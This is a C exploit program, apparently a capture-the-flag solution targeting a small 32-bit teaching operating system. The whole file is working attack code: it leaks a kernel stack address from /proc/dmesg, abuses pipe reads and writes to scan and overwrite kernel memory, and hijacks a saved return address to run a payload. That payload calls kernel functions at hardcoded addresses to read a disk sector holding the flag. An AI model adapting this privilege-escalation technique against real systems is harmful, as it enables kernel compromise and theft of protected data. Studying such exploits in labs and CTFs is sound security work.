#include <cstring>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/cdefs.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <unistd.h>

void* shared;

void* (*get_device)(int, int) = (void* (*)(int, int))(0x118728);
void* (*device_read)(void*, unsigned int, unsigned int, void*) = (void* (*)(void*, unsigned int, unsigned int, void*))(0x118a46);

#define RETURN_ADDR 0x001470c7

/*
* Finds base of the kernel stack assocaited with our child process
*/
unsigned long find_stackbase()
{
    FILE* fp;
    char* line = NULL;
    char* end = NULL;
    size_t len = 0;
    ssize_t read;
    unsigned long val = 0;

    fp = fopen("/proc/dmesg", "r");

    while ((read = getline(&line, &len, fp)) != -1) {
    }
    
    //puts(line);
    line = strstr(line, "@") + 2;
    end = strstr(line, " ");
    *end = 0;

    fclose(fp);

    //strtoul is broken so we chop off the highest nibble and add it back in after
    val = strtoul(line + 3, NULL, 16);
    val |= 0xC0000000;
    //printf("%lu\n", val);

    return val;
}

/*
 * Finds the address on the stack that stores the return address we want to overwrite.
 */
unsigned long find_hijack(unsigned long stack_base)
{
    int p[2];   //p[0]:out; p[1]:in
    char buf[0x1000] = {};
    unsigned long addr;

    pipe(p);

    addr = stack_base;

    for (int i = 0; i < 0x10000; i += 0x1000) {
        write(p[1], (void*)(addr + i), 0x1000);
        read(p[0], buf, 0x1000);
        for (int j = 0; j < 0x1000 - 0x4; j += 4) {
            uint32_t ret = *(uint32_t*)(buf + j);
            if (ret == RETURN_ADDR) {
                return addr + i + j;
            }
        }
    }
    return 0;
}

unsigned long sleep_child()
{
    sleep(2);
    printf("never getting here!\n");
    exit(0);
}

void payload()
{
    void* dev = get_device(3, 1);
    device_read(dev, 0, 512, shared);

    // crash the child process cause why not
    *(unsigned long*)0x41414141 = 0x31313131;
}

int main(int, char**)
{
    unsigned long stackbase = 0;
    unsigned long hijack = 0;
    unsigned long payload_ptr;
    int p[2];
    
    shared = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);
    printf("mmap addr: %p\n", shared);
    
    if (fork() == 0) {
        sleep_child();
    }

    sleep(1);
    stackbase = find_stackbase();
    printf("stackbase at %lx\n", stackbase);

    hijack = find_hijack(stackbase);
    printf("hijack at %lx\n", hijack);

    // overwrite return address
    payload_ptr = (unsigned long)&payload;

    pipe(p);
    write(p[1], &payload_ptr, 4);
    read(p[0], (void *)hijack, 4);

    sleep(2);

    printf("flag is %s\n", (char *)shared);
    
    return 1;
}